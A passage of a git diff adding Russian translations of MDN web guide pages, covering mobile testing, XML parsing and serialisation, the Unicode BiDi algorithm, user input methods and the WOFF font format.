+<p>Например, если вы указываете градиент в качестве фона для какого-либо текста, используя стиль с вендорным префиксом типа <code>-webkit-linear-gradient</code>, правильнее включить другие варианты с вендор-специфичекими префиксами для свойства <a href="/en/CSS/linear-gradient" title="en/CSS/linear-gradient">linear-gradient</a>. Если вы этого не делаете, по крайней мере удостоверьтесь, что фон, отображаемый по умолчанию, контрастирует с текстом: тогда страница, по крайней мере, будет корректно отображаться в браузере, который не воспринимает ваше <code>linear-gradient</code> правило.</p>
+
+<p>Смотрите этот <a href="/en/CSS/CSS_Reference/Mozilla_Extensions" title="en/CSS/CSS_Reference/Mozilla_Extensions">список Gecko-специфических свойств</a>, и этот список <a href="/en/CSS/CSS_Reference/Webkit_Extensions" title="en/CSS/CSS_Reference/Webkit_Extensions">WebKit-</a><a href="/en/CSS/CSS_Reference/Mozilla_Extensions" title="en/CSS/CSS_Reference/Mozilla_Extensions">специфических свойств</a>, и <a class="external" href="http://peter.sh/experiments/vendor-prefixed-css-property-overview/">таблицу вендор-специфических свойств</a> от Peter Beverloo.</p>
+
+<p>Использование инструментов, наподобие <a class="external" href="http://csslint.net/">CSS Lint</a> может помочь обнаружить подобные проблемы в коде, а такие препроцессоры, как <a class="external" href="http://sass-lang.com/">SASS</a> и <a class="external" href="http://lesscss.org/">LESS</a> могут помочь вам создавать кросс-браузерный код.</p>
+
+<h3 id="Позаботьтесь_об_анализе_user_agent">Позаботьтесь об анализе user agent</h3>
+
+<p>Для веб-сайтов предпочтительнее обнаружить свойства, специфичные для устройства, такие как размеры экрана и наличие сенсорного экрана, используя описанные выше способы, и соответсвенно адаптироваться. Но иногда это непрактично, и веб-сайты прибегают к синтаксическому разбору строки user agent браузера чтобы различить десктопы, планшеты, и смартфоны, чтобы отправлять разный контент под каждый тип устройств.</p>
+
+<p>Если вы это делаете, удостоверьтесь что ваш алгоритм точный, и вы не отправляете неверный тип контента на устройство из-за того что вы не знаете какой-то специфической для браузера user agent строки. Смотрите данное <a href="/en/Browser_detection_using_the_user_agent#Mobile.2C_Tablet_or_Desktop" title="browser detection using the user agent">руководство по использованию user agent строки чтобы определить тип устройства</a>.</p>
+
+<h3 id="Проверяйте_на_многих_браузерах">Проверяйте на многих браузерах</h3>
+
+<p>Проверяйте ваш веб-сайт на многих браузерах. Это означает тестирование на многих платформах — по крайней мере на iOS и Android.</p>
+
+<ul>
+ <li>тестируйте под мобильный Safari на iPhone используя <a class="link-https" href="https://developer.apple.com/devcenter/ios/index.action">iOS симулятор</a></li>
+ <li>тестируйте под Opera и Firefox используя <a class="link-https" href="https://developer.android.com/sdk/index.html">Android SDK</a>. Смотрите эти дополнительные интсрукции для <a class="link-https" href="https://wiki.mozilla.org/Mobile/Fennec/Android/Emulator">запуска Firefox под Android используя эмулятор Android</a>.</li>
+</ul>
diff --git a/files/ru/web/guide/parsing_and_serializing_xml/index.html b/files/ru/web/guide/parsing_and_serializing_xml/index.html
new file mode 100644
index 0000000000..a99fe9cd84
--- /dev/null
+++ b/files/ru/web/guide/parsing_and_serializing_xml/index.html
@@ -0,0 +1,118 @@
+---
+title: Прямая и обратная обработка XML
+slug: Web/Guide/Parsing_and_serializing_XML
+translation_of: Web/Guide/Parsing_and_serializing_XML
+---
+<p>
+ <audio class="audio-for-speech"></audio>
+</p>
+
+<div class="translate-tooltip-mtz hidden">
+<div class="header">
+<div class="header-controls"></div>
+
+<div class="translate-icons"><img class="from" src=""> <img class="arrow"> <img class="to" src=""></div>
+</div>
+
+<div class="translated-text">
+<div class="words"></div>
+
+<div class="sentences"></div>
+</div>
+</div>
+
+<p>Иногда возникает необходимость в обработке {{Glossary("XML")}} и в последующей конвертации в древо {{Glossary("DOM")}}. Или наоборот, необходимо перевести древо DOM в XML. В этой статье рассмотрим объекты платформы web для обработки XML.</p>
+
+<dl>
+ <dt>{{domxref("XMLSerializer")}}</dt>
+ <dd>Сериализует деревья DOM, преобразуя их в строки, содержащие XML.</dd>
+ <dt>{{domxref("DOMParser")}}</dt>
+ <dd>Создает дерево DOM, анализируя строку, содержащую XML, возвращая {{domxref ("XMLDocument")}} или {{domxref ("Document")}} в зависимости от входящих данных.</dd>
+ <dt>{{domxref("XMLHttpRequest")}}</dt>
+ <dd>Загружает контент из URL-адреса; Содержимое XML возвращается как объект XML {{domxref ("Document")}} с деревом DOM, построенным из самого XML.</dd>
+ <dt><a href="/en-US/docs/Web/XPath">XPath</a></dt>
+ <dd>Технология создания строк, содержащих адреса для определенных частей документа XML, и поиска узлов XML на основе этих адресов.</dd>
+</dl>
+
+<h2 id="Создание_XML-документа">Создание XML-документа</h2>
+
+<p>Использование одного из следующих подходов для создания XML-документа (который является экземпляром {{domxref ("Document")}}.</p>
+
+<h3 id="Parsing_строк_в_дерево_DOM">Parsing строк в дерево DOM</h3>
+
+<p>В этом примере фрагмент XML в строке преобразуется в дерево DOM с помощью {{domxref ("DOMParser")}}:</p>
+
+<div style="overflow: hidden;">
+<pre class="brush: js notranslate">var sMyString = '&lt;a id="a"&gt;&lt;b id="b"&gt;hey!&lt;/b&gt;&lt;/a&gt;';
+var oParser = new DOMParser();
+var oDOM = oParser.parseFromString(sMyString, "application/xml");
+// print the name of the root element or error message
+console.log(oDOM.documentElement.nodeName == "parsererror" ? "error while parsing" : oDOM.documentElement.nodeName);
+</pre>
+</div>
+
+<h3 id="Parsing_URL-addressable_ресурсов_в_дерево_DOM">Parsing URL-addressable ресурсов в дерево DOM</h3>
+
+<h4 id="Использование_XMLHttpRequest">Использование XMLHttpRequest</h4>
+
+<p>Вот пример кода, который считывает и анализирует XML-файл с URL-адресом в дереве DOM:</p>
+
+<pre class="brush: js notranslate">var xhr = new XMLHttpRequest();
+xhr.onload = function() {
+  dump(xhr.responseXML.documentElement.nodeName);
+}
+xhr.onerror = function() {
+  dump("Error while getting XML.");
+}
+xhr.open("GET", "example.xml");
+xhr.responseType = "document";
+xhr.send();
+</pre>
+
+<p>Значение, возвращаемое в поле {{domxref ("XMLHttpRequest.responseXML", "responseXML")}} объекта xhr, является {{domxref ("Document")}}, созданным путем синтаксического анализа XML.</p>
+
+<p>Если документ представляет собой {{Glossary ("HTML")}}, приведенный выше код вернет {{domxref ("Document")}}. Если документ XML, результирующий объект на самом деле является {{domxref ("XMLDocument")}}. Эти два типа по существу одинаковы; разница в основном историческая, хотя дифференциация имеет также некоторые практические преимущества.</p>
+
+<div class="note">
+<p>Примечание: на самом деле существует интерфейс {{domxref ("HTMLDocument")}}, но это не обязательно независимый тип. В некоторых браузерах это так, а в других это просто псевдоним для интерфейса документа.</p>
+</div>
+
+<h2 id="Сериализация_XML-документа">Сериализация XML-документа</h2>
+
+<p>Имея {{domxref ("Document")}}, вы можете сериализовать дерево DOM документа обратно в XML с помощью метода {{domxref ("XMLSerializer.serializeToString ()")}}.</p>
+
+<p>Используйте следующие подходы для сериализации содержимого XML-документа, созданного в предыдущем разделе.</p>
+
+<h3 id="Serializing_DOM_trees_to_strings">Serializing DOM trees to strings</h3>
+
+<p>Сначала создайте дерево DOM, как описано в разделе Как создать дерево DOM. В качестве альтернативы используйте дерево DOM, полученное из {{domxref ("XMLHttpRequest")}}.</p>
+
+<p>Чтобы сериализовать документ дерева DOM в текст XML, вызовите {{domxref ("XMLSerializer.serializeToString ()")}}:</p>
+
+<pre class="brush: js notranslate">var oSerializer = new XMLSerializer();
+var sXML = oSerializer.serializeToString(doc);</pre>
+
+<h3 id="Serializing_HTML_documents">Serializing HTML documents</h3>
+
+<p>Если у вас есть модель DOM в виде HTML-документа, вы можете сериализовать ее с помощью serializeToString (), но есть более простой вариант: просто используйте свойство {{domxref ("Element.innerHTML")}} (если вам нужны только потомки указанный узел) или свойство {{domxref ("Element.outerHTML")}}, если вам нужен узел и все его потомки.</p>
+
+<pre class="brush: js notranslate">var docHTML = document.documentElement.innerHTML;
+</pre>
+
+<p>В результате docHTML представляет собой {{domxref ("DOMString")}}, содержащий HTML-код содержимого документа; то есть содержимое элемента {{HTMLElement ("body")}}.</p>
+
+<p>Вы можете получить HTML, соответствующий &lt;body&gt; и его потомкам, с помощью этого кода:</p>
+
+<pre class="brush: js notranslate">var docHTML = document.documentElement.outerHTML;</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="internal" href="/en/XPath" title="en/XPath">XPath</a></li>
+ <li>{{domxref("XMLHttpRequest")}}</li>
+ <li>{{domxref("Document")}}, {{domxref("XMLDocument")}}, and {{domxref("HTMLDocument")}}</li>
+</ul>
+
+<div id="gtx-trans" style="position: absolute; left: 118px; top: 2989.8px;">
+<div class="gtx-trans-icon"></div>
+</div>
diff --git a/files/ru/web/guide/unicode_bidrectional_text_algorithm/index.html b/files/ru/web/guide/unicode_bidrectional_text_algorithm/index.html
new file mode 100644
index 0000000000..d07516957c
--- /dev/null
+++ b/files/ru/web/guide/unicode_bidrectional_text_algorithm/index.html
@@ -0,0 +1,144 @@
+---
+title: Алгоритм обработки текста двусторонней направленности (Юникод)
+slug: Web/Guide/Unicode_Bidrectional_Text_Algorithm
+tags:
+  - Алгоритм
+  - Локализация
+  - Руководство
+  - Юникод
+  - направление
+translation_of: Web/Guide/Unicode_Bidrectional_Text_Algorithm
+---
+<div>{{draft}}</div>
+
+<p><span class="seoSummary"><strong>Алгоритм обработки текста двусторонней направленности</strong> (Unicode® Bidirectional Algorithm или <strong>BiDi</strong> Algorithm) — раздел стандарта текста Unicode, описывающий в каком порядке раскладываются символы во время обработки страницы {{Glossary("агентом пользователя")}}.</span>
+Этот алгоритм полезен при создании локализированного веб-контента.</p>
+
+<p class="summary">В руководстве рассказывается о том, как работает BiDi алгоритм и как его применить. Алгоритм непосредственно связан с {{Glossary("HTML")}} и {{Glossary("CSS")}}, при обработке которых определяется порядок и направление символов в тексте.</p>
+
+<h2 id="Основы">Основы</h2>
+
+<p>(Базовое направление, типы символов, и т.д.)</p>
+
+<h2 id="Алгоритм">Алгоритм</h2>
+
+<h3 id="Уровни_направленности_символов">Уровни направленности символов</h3>
+
+<h3 id="Directional_runs">Directional runs</h3>
+
+<p>(Что это, что такое базовое направление)</p>
+
+<h3 id="Символы_нейтральной_направленности">Символы нейтральной направленности</h3>
+
+<h2 id="Overriding_the_algorithm">Overriding the algorithm</h2>
+
+<p>Content about using HTML and CSS to override the default behavior of the algorithm; include info about isolating ranges etc.</p>
+
+<h3 id="Overiding_BiDi_using_Unicode_control_characters">Overiding BiDi using Unicode control characters</h3>
+
+<p>Unicode provides a number of special control characters that make it possible to control directionality of ranges of text. There are two sets of control characters; one set opens the override, and another restores the original directionality. You must always follow each opening character with an appropriate closing character.</p>
+
+<table class="standard-table">
+ <caption>Initial Unicode BiDi algorithm control characters</caption>
+ <thead>
+  <tr>
+   <th scope="row">Character</th>
+   <th scope="col">Code point</th>
+   <th scope="col">HTML entity</th>
+   <th scope="col">Markup equivalent</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">Left-to-Right Isolate (LRI)</th>
+   <td>U+2066</td>
+   <td><code>&amp;#x2066;</code></td>
+   <td><code>dir="ltr"</code></td>
+   <td>Sets the base direction to LTR, isolating the embedded content from the surrounding text</td>
+  </tr>
+  <tr>
+   <th scope="row">Right-to-Left Isolate (LRI)</th>
+   <td>U+2067</td>
+   <td><code>&amp;#x2067;</code></td>
+   <td><code>dir="rtl"</code></td>
+   <td>Sets the base direction to RTL, isolating the embedded content from the surrounding text</td>
+  </tr>
+  <tr>
+   <th scope="row">First Strong Isolate (FSI)</th>
+   <td>U+2068</td>
+   <td><code>&amp;#x2068;</code></td>
+   <td><code>dir="auto"</code></td>
+   <td>Isolates the content and sets the base direction according to the first strongly-typed directional character in the embedded content</td>
+  </tr>
+  <tr>
+   <th scope="row">Left-to-Right Embedding (LRE)</th>
+   <td>U+202A</td>
+   <td><code>&amp;#x202A;</code></td>
+   <td><code>dir="ltr"</code></td>
+   <td>Sets the base direction to LTR but allows the embedded text to interact with the surrounding content; this risks the effect spilling over to the outer content</td>
+  </tr>
+  <tr>
+   <th scope="row">Right-to-Left Embedding (RLE)</th>
+   <td>U+202B</td>
+   <td><code>&amp;#x202B;</code></td>
+   <td><code>dir="rtl"</code></td>
+   <td>Sets the base direction to RTL, but lets the embedded text interact with the surrounding content, risking spillover effects</td>
+  </tr>
+  <tr>
+   <th scope="row">Left-to-Right Override (LRO)</th>
+   <td>U+202D</td>
+   <td><code>&amp;#x202D;</code></td>
+   <td><code>&lt;bdo dir="ltr"&gt;</code></td>
+   <td>Overrides the BiDi algorithm, displaying the characters in memory order, from left to right</td>
+  </tr>
+  <tr>
+   <th scope="row">Right-to-Left Override (RLO)</th>
+   <td>U+202E</td>
+   <td><code>&amp;#x202E;</code></td>
+   <td><code>&lt;bdo dir="rtl"&gt;</code></td>
+   <td>Overrides the BiDi algorithm and displays the embedded characters in reverse memory order, from right to left</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>Closing Unicode BiDi algorithm control characters</caption>
+ <thead>
+  <tr>
+   <th scope="row">Character</th>
+   <th scope="col">Code point</th>
+   <th scope="col">HTML entity</th>
+   <th scope="col">Markup equivalent</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th rowspan="2" scope="row">Pop Directional Formatting (PDF)</th>
+   <td rowspan="2">U+202C</td>
+   <td rowspan="2"><code>&amp;#x202C;</code></td>
+   <td>Closing whatever opening tag used the {{htmlattrxref("dir")}} attribute</td>
+   <td>Used for RLE or LRE</td>
+  </tr>
+  <tr>
+   <td><code>&lt;/bdo&gt;</code></td>
+   <td>Used for RLO or LRO</td>
+  </tr>
+  <tr>
+   <th scope="row">Pop Directional Isolate (PDI)</th>
+   <td>U+2069</td>
+   <td><code>&amp;#x2069;</code></td>
+   <td>Closing whatever opening tag used the {{htmlattrxref("dir")}} attribute</td>
+   <td>Used for RLI, LRI, or FSI</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a href="https://www.unicode.org/reports/tr9/">Соответствующий стандарт Юникод (Unicode® Standard Annex #9: Unicode Bidirectional Algorithm)</a></li>
+ <li><a href="https://www.w3.org/International/articles/inline-bidi-markup/uba-basics">W3C: Unicode Bidirectional Algorithm basics</a></li>
+ <li><a href="https://www.w3.org/International/questions/qa-bidi-unicode-controls">W3C Q&amp;A: How to use Unicode controls for bidi text</a></li>
+</ul>
diff --git a/files/ru/web/guide/user_input_methods/index.html b/files/ru/web/guide/user_input_methods/index.html
new file mode 100644
index 0000000000..9204a6fb1a
--- /dev/null
+++ b/files/ru/web/guide/user_input_methods/index.html
@@ -0,0 +1,198 @@
+---
+title: Ввод пользователя и управление
+slug: Web/Guide/User_input_methods
+tags:
+  - Клавиатура
+  - Ориентация экрана
+  - ввод пользователя
+  - касание
+  - мышь
+  - указатель
+translation_of: Web/Guide/User_input_methods
+---
+<div class="summary">
+<p><span class="seoSummary">Это руководство содержит рекомендации по обработке пользовательского ввода
+ и внедрению управляющих элементов в веб-приложения. Также здесь Вы найдете соответствующие FAQs, живые примеры, ссылки на более подробные разборы близлежащих технологий.
+ Связанные интерфейсы API и события: <a href="/ru/docs/Web/API/Touch_events">события касаний</a>, <a href="/ru/docs/Web/API/Pointer_Lock_API">интерфейс отслеживания указателя мыши</a>,
+ <a href="/ru/docs/Web/API/CSS_Object_Model/ориентация_экрана">интерфейс ориентации экрана</a>,
+ <a href="/ru/docs/DOM/Using_fullscreen_mode">интерфейс режима "на весь экран"</a>, <a href="/ru/docs/Web/Guide/HTML/Drag_and_drop">перетаскивание и сброс</a> и т. д.</span></p>
+</div>
+
+<h2 id="Рабочая_область">Рабочая область</h2>
+
+<p>The following diagram illustrates the typical workflow for implementing user input mechanisms:</p>
+
+<p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/8085/user-input-and-controls.png" style="height: 86px; width: 303px;"></p>
+
+<p>First of all, you need to decide which input mechanisms you want to cover in your application out of mouse, keyboard, finger touch and so on. Once you decided the input mechanisms, you can control them using tools offered by the web platform or JavaScript libraries.</p>
+
+<h2 id="Recommendations">Recommendations</h2>
+
+<p>Available input mechanisms depend on the capabilities of the device running the application:</p>
+
+<ul>
+ <li>Some devices provide touchscreen displays: the Web Platform offers <a href="/en-US/docs/Web/Guide/Events/Touch_events">touch events</a> to interpret finger activity on touch-based user interfaces.</li>
+ <li>For devices providing a mouse/touchpad as a pointing method, the <a href="/en-US/docs/Web/API/Pointer_Lock_API">Pointer Lock API</a> helps you in implementing a first person 3D game or other applications requiring full control of the pointing device. And the <a href="/en-US/docs/Web/API/Fullscreen_API">Fullscreen API</a> helps you in displaying your app in fullscreen mode.</li>
+ <li>Using features such as <a href="/en-US/docs/Web/Guide/HTML/Content_Editable">contentEditable</a> elements you can implement fast rich-text editors and with <a href="/en-US/docs/Web/Guide/HTML/Drag_and_drop">Drag&amp;Drop</a> let users moving elements inside your app. When screen orientation matters for your application, through the <a href="/en-US/docs/Web/API/CSS_Object_Model/Managing_screen_orientation">Screen Orientation API</a> you can read the screen orientation state and perform other actions.</li>
+ <li>You should always be mindful of keyboard accessibility where appropriate — many web users only use keyboard to navigate web sites and apps, and locking them out of your functionality is a bad idea.</li>
+</ul>
+
+<p>The following is a set of recommendations and best practices for using such tools in Open Web Apps.</p>
+
+<h3 id="Decide_what_input_mechanism_you’re_using">Decide what input mechanism you’re using</h3>
+
+<h4 id="Keyboard">Keyboard</h4>
+
+<p>Keyboard input can be controlled by your app. For example if you want to add controls when any key gets pressed, you need to add an event listener on the window object:</p>
+
+<pre class="brush: js notranslate">window.addEventListener("keydown", handleKeyDown, true);
+window.addEventListener("keyup", handleKeyUp, true);</pre>
+
+<p>where <code>handleKeyDown</code> and <code>handleKeyUp</code> are the functions implementing the controls about the <code>keydown</code> and <code>keyup</code> events.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Have a look at the <a href="/en-US/docs/Web/Reference/Events">Events reference</a> and {{domxref("KeyboardEvent")}} guide to find out more about keyboard events.</p>
+</div>
+
+<h4 id="Mouse">Mouse</h4>
+
+<p>The events occurring when the user interacts with a pointing device such as a mouse are represented by the {{domxref("MouseEvent")}} DOM Interface. Common mouse events include <a href="/en-US/docs/Web/Reference/Events/click"><code>click</code></a>, <a href="/en-US/docs/Web/Reference/Events/dblclick"><code>dblclick</code></a>, <a href="/en-US/docs/Web/Reference/Events/mouseup"><code>mouseup</code></a>, and <a href="/en-US/docs/Web/Reference/Events/mousedown"><code>mousedown</code></a>. The list of all events using the Mouse Event Interface is provided in the <a href="/en-US/docs/Web/Reference/Events">Events reference</a>.</p>
+
+<p>When the input device is a mouse, you can also control user input through the Pointer Lock API and implement Drag &amp; Drop (see below).</p>
+
+<h4 id="Finger_touch">Finger touch</h4>
+
+<p>When developing web applications meant to be installed on touchscreen devices, it’s a good practice to take into consideration the different capabilities in terms of screen resolution and user input. <a href="/en-US/docs/Web/Guide/Events/Touch_events">Touch events</a> can help you implement interactive elements and common interaction gestures on touchscreen devices.</p>
+
+<p>If you want to use touch events, you need to add event listeners and specify handler functions, which will be called when the event gets fired:</p>
+
+<pre class="brush: js notranslate">element.addEventListener("touchstart", handleStart, false);
+element.addEventListener("touchcancel", handleCancel, false);
+element.addEventListener("touchend", handleEnd, false);
+element.addEventListener("touchmove", handleMove, false);</pre>
+
+<p>where <code>element</code> is the DOM element you want to register the touch events on.</p>
+
+<div class="note">
+<p><strong>Note</strong>: For further information about what you can do with touch events, please read our <a href="/en-US/docs/Web/Guide/Events/Touch_events">touch events guide</a>.</p>
+</div>
+
+<h4 id="Pointer_Events">Pointer Events</h4>
+
+<p>When dealing with devices that incorporate multiple forms of input, like mouse, finger touch and pen input, it might be hard to develop a solution that works for all these different control mechanisms. <a href="http://www.w3.org/TR/pointerevents/">Pointer Events</a> help developers more easily manage events across devices by normalizing the handling of each one. A pointer can be any point of contact on the screen made by a mouse cursor, pen, touch (including multi-touch), or other pointing input device. The events for handling generic pointer input look a lot like those for mouse: <code>pointerdown</code>, <code>pointermove</code>, <code>pointerup</code>, <code>pointerover</code>, <code>pointerout</code>, etc.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Pointer Events are not widely supported yet, but a <a href="https://github.com/mozilla/pointer.js">pointer.js polyfill</a> is available on Mozilla Github.</p>
+</div>
+
+<h3 id="Implement_controls">Implement controls</h3>
+
+<h4 id="Pointer_lock">Pointer lock</h4>
+
+<p>In some cases, typically game development, you might need to access mouse events even when the cursor goes past the boundary of the browser or screen: the {{domxref("Pointer_Lock_API")}} gives you full control of the pointing device.</p>
+
+<p>This is the code to request pointer lock on an <code>element</code>:</p>
+
+<pre class="brush: js notranslate">element.requestPointerLock();</pre>
+
+<div class="note">
+<p><strong>Note</strong>: For a full tutorial and reference, read our {{domxref("Pointer_Lock_API")}} page.</p>
+</div>
+
+<h4 id="Screen_Orientation">Screen Orientation</h4>
+
+<p>When screen orientation matters for your application, you can read the screen orientation state, be informed when this state changes, and able to lock the screen orientation to a specific state (usually portrait or landscape) through the <a href="/en-US/docs/Web/API/CSS_Object_Model/Managing_screen_orientation">Screen Orientation API</a>.</p>
+
+<p>Orientation data can be retrieved through the {{domxref("screen.orientation")}} attribute or through the <a href="/en-US/docs/Web/Guide/CSS/Media_queries#orientation"><code>orientation</code></a> media feature. When <code>screen.orientation</code> changes, the {{domxref("screen.orientationchange")}} event is fired on the screen object. Locking the screen orientation is made possible by invoking the {{domxref("screen.lockOrientation")}} method, while the {{domxref("screen.unlockOrientation")}} method removes all the previous screen locks that have been set.</p>
+
+<div class="note">
+<p><strong>Note</strong>: More information about the Screen Orientation API can be found in <a href="/en-US/docs/Web/API/CSS_Object_Model/Managing_screen_orientation">Managing screen orientation</a>.</p>
+</div>
+
+<h4 id="Fullscreen">Fullscreen</h4>
+
+<p>You might need to present an element of your application (such as a {{ htmlelement("video") }}, for example) in fullscreen mode. You can achieve this by calling {{domxref("Element.requestFullscreen()")}} on that element. Bear in mind that many browsers still implement this with a vendor prefix, so you will probably need to fork your code something like this:</p>
+
+<pre class="brush: js notranslate">var elem = document.getElementById("myvideo");
+if (elem.requestFullscreen) {
+  elem.requestFullscreen();
+} else if (elem.msRequestFullscreen) {
+  elem.msRequestFullscreen();
+} else if (elem.mozRequestFullScreen) {
+  elem.mozRequestFullScreen();
+} else if (elem.webkitRequestFullscreen) {
+  elem.webkitRequestFullscreen();
+}</pre>
+
+<div class="note">
+<p><strong>Note</strong>: To find more out about adding fullscreen functionality your application, read our documentation about <a href="/en-US/docs/Web/Guide/API/DOM/Using_full_screen_mode">using fullscreen mode</a>.</p>
+</div>
+
+<h4 id="Drag_Drop">Drag &amp; Drop</h4>
+
+<p><a href="/en-US/docs/Web/Guide/HTML/Drag_and_drop">Drag &amp; Drop</a> allows your application’s users to click and hold the mouse button down over an element, drag it to another location, and release the mouse button to drop the element there.</p>
+
+<p>Here is an example that allows a section of content to be dragged.</p>
+
+<pre class="brush: html notranslate">&lt;div draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'This text may be dragged')"&gt;
+    This text &lt;strong&gt;may&lt;/strong&gt; be dragged.
+
&lt;/div&gt;</pre>
+
+<p>in which we:</p>
+
+<ul>
+ <li>Set the <a href="/en-US/docs/Web/HTML/Global_attributes#draggable"><code>draggable</code></a> attribute to true on the element that you wish to make draggable</li>
+ <li>Add a listener for the <a href="/en-US/docs/Web/Events/dragstart"><code>dragstart</code></a> event and set the drag data within this listener</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: You can find more information in the <a href="/en-US/docs/Web/Guide/HTML/Drag_and_drop">MDN Drag &amp; Drop documentation</a>.</p>
+</div>
+
+<h4 id="contentEditable">contentEditable</h4>
+
+<p>In open web apps any DOM element can be made directly editable using the <a href="/en-US/docs/Web/HTML/Global_attributes#contenteditable"><code>contenteditable</code></a> attribute.</p>
+
+<pre class="brush: html notranslate">&lt;div contenteditable="true"&gt;
+    This text can be edited by the user.
+&lt;/div&gt;</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Compatibility information, examples and other resources can be found in the <a href="/en-US/docs/Web/Guide/HTML/Content_Editable">Content Editable guide</a>.</p>
+</div>
+
+<h2 id="Examples">Examples</h2>
+
+<dl>
+ <dt><strong><a href="/en/DOM/Touch_events#Example">Tracking multiple touch points at a time</a></strong></dt>
+ <dd>This example tracks multiple touch points at a time, allowing the user to draw in a <code>{{htmlelement("canvas")}}</code> with more than one finger at a time. It will only work on a browser that supports touch events.</dd>
+ <dt><strong><a href="/en-US/docs/Web/API/Pointer_Lock_API#example">Simple pointer lock demo</a></strong></dt>
+ <dd>We've written a simple pointer lock demo to show you how to use it to set up a simple control system. The demo uses JavaScript to draw a ball inside a <code>{{htmlelement("canvas")}}</code> element. When you click the canvas, pointer lock is then used to remove the mouse pointer and allow you to move the ball directly using the mouse.</dd>
+ <dt><strong><a href="http://html5demos.com/contenteditable">contentEditable demo</a></strong></dt>
+ <dd>This is a working example showing how contenteditable can be used to create an editable document section, the state of which is then saved using <a href="/en-US/docs/Web/Guide/API/DOM/Storage">LocalStorage</a>.</dd>
+</dl>
+
+<h2 id="Руководства">Руководства</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/API/Touch_events">События касаний (тач-события) - руководство</a></li>
+ <li><a href="/ru/docs/Web/API/CSS_Object_Model/ориентация_экрана">Разбираемся с ориентацией экрана</a></li>
+ <li><a href="/en-US/docs/Web/Guide/API/DOM/Using_full_screen_mode">Использование полноэкранного режима</a></li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Dragging_and_Dropping_Multiple_Items">Перетаскивание и сброс нескольких объектов</a></li>
+ <li><a href="/ru/docs/Web/Guide/HTML/Drag_and_drop/Drag_operations">Руководство по перетаскиваниям</a></li>
+</ul>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{domxref("MouseEvent")}}</li>
+ <li>{{domxref("KeyboardEvent")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/Events/Touch_events">Touch events</a></li>
+ <li>{{domxref("Pointer_Lock_API")}}</li>
+ <li><a href="/en-US/docs/Web/API/CSS_Object_Model/Managing_screen_orientation">Screen Orientation API</a></li>
+ <li><a href="/en-US/docs/Web/Guide/API/DOM/Using_full_screen_mode">Fullscreen API</a></li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Drag_and_drop">Drag &amp; Drop</a></li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Content_Editable">Content Editable</a></li>
+ <li><a href="/en-US/Firefox_OS/Platform/Keyboard_events_in_Firefox_OS_TV">Keyboard events in Firefox OS TV</a></li>
+ <li><a href="/en-US/docs/Mozilla/Firefox_OS/TVs_connected_devices/TV_remote_control_navigation">Implementing TV remote control navigation</a></li>
+</ul>
diff --git a/files/ru/web/guide/woff/index.html b/files/ru/web/guide/woff/index.html
new file mode 100644
index 0000000000..330047ef99
--- /dev/null
+++ b/files/ru/web/guide/woff/index.html
@@ -0,0 +1,65 @@
+---
+title: The Web Open Font Format (WOFF)
+slug: Web/Guide/WOFF
+tags:
+  - Шрифты
+  - шрифт
+translation_of: Web/Guide/WOFF
+---
+<p><span class="seoSummary"><strong>WOFF</strong>(<strong>Web Open Font Format</strong>) — формат шрифтов, разработанный Mozilla совместно с Type Supply, LettError, и др.</span> По сути — это сжатая версия формата <a href="https://ru.wikipedia.org/wiki/Sfnt"><code>sfnt</code></a>, используемого шрифтами TrueType, OpenType, и Open Font Format, но <span class="seoSummary">с возможностью добавления мета-данных и приватных структур данных (private-use data structures). Например, в формате предусмотрены поля для ввода информации о лицензии.</span></p>
+
+<p>Преимущества использования WOFF:</p>
+
+<ol>
+ <li>The font data is compressed, so sites using WOFF will use less bandwidth and will load faster than if they used equivalent uncompressed TrueType or OpenType files.</li>
+ <li>Many font vendors that are unwilling to license their TrueType or OpenType format fonts for use on the web will license WOFF format fonts. This improves availability of fonts to site designers.</li>
+ <li>Both proprietary and free software browser vendors like the WOFF format, so it has the potential of becoming a truly universal, interoperable font format for the web, unlike other current font formats.</li>
+</ol>
+
+<p>Существует две версии WOFF, отличающихся используемым алгоритмом сжатия: WOFF и WOFF2. В правиле {{cssxref("@font-face")}} они определяются в дескрипторе <code>format</code> как <code>'woff'</code> или <code>'woff2'</code> соответственно.</p>
+
+<h2 id="Использование_WOFF">Использование WOFF</h2>
+
+<p>You can use the {{cssxref("@font-face")}} CSS property to use WOFF fonts for text in web content. It works exactly like OpenType and TrueType format fonts do, except it will likely let your content download more efficiently due to the addition of compression.</p>
+
+<h2 id="Tools_for_working_with_WOFF_fonts">Tools for working with WOFF fonts</h2>
+
+<ul>
+ <li><a href="https://github.com/odemiral/woff2sfnt-sfnt2woff">Tools for working with WOFF</a> fonts are available. <code>sfnt2woff</code> and <code>woff2sfnt</code> convert between WOFF and OpenType.</li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WOFF2.0', '', '')}}</td>
+   <td>{{Spec2('WOFF2.0')}}</td>
+   <td>New compression algorithm</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('WOFF1.0', '', '')}}</td>
+   <td>{{Spec2('WOFF1.0')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("css.at-rules.font-face")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
